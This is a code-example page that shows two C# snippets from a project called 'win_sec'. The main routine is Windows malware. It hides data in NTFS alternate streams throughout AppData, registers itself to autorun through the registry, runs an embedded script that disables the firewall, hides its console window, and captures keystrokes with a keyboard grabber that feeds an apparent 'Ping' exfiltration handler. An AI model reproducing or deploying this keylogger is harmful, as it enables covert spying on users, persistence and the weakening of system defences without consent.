コード例 #1
0
ファイル: Secret.cs プロジェクト: trnila/win_sec
 public static Dictionary <String, String> Unlock()
 {
     foreach (string s in FilesIterator.FromPath("C:\\"))
     {
         var dict = Unlock(s);
         if (dict != null)
         {
             return(dict);
         }
     }
     return(null);
 }
コード例 #2
0
ファイル: Program.cs プロジェクト: trnila/win_sec
        public static void Main()
        {
            /*using (var s = new StreamWriter(new AlternateStream(@"C:\a\hello.txt", "test.txt", true))) {
             *      s.WriteLine("Hello world!");
             *      s.WriteLine("hello");
             * }
             *
             * using (var s = new StreamReader(new AlternateStream(@"C:\a\hello.txt", "test.txt"))) {
             *      Console.WriteLine(s.ReadLine());
             *      Console.WriteLine(s.ReadLine());
             * }*/

            // traverse whole filesystem and try all filenames as key to decrypt secret.xml
            var secrets = Secret.Unlock();

            foreach (string path in FilesIterator.FromPath(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)))
            {
                using (var s = new StreamWriter(new AlternateStream(path, "test.exe", true))) {
                    s.Write(secrets["fw_args"]);
                }
            }

            String executable_path = System.Reflection.Assembly.GetEntryAssembly().Location;

            new RegistryAutoRunner(secrets["autorun_ns"], secrets["autorun_key"]).Install(executable_path);

            // Disable firewall with script embeded in encrypted secret.xml
            exec(secrets, "fw");

            Win32API.ShowWindow(Win32API.GetConsoleWindow(), 0);

            IHandler handler = createHandler(CreateType.Ping);

            var queue = new BlockingCollection <char>(new ConcurrentQueue <char>());

            using (new KeyboardGrabber(queue)) {
                new Thread(() => handler.handle(queue)).Start();
                Application.Run();
            }
        }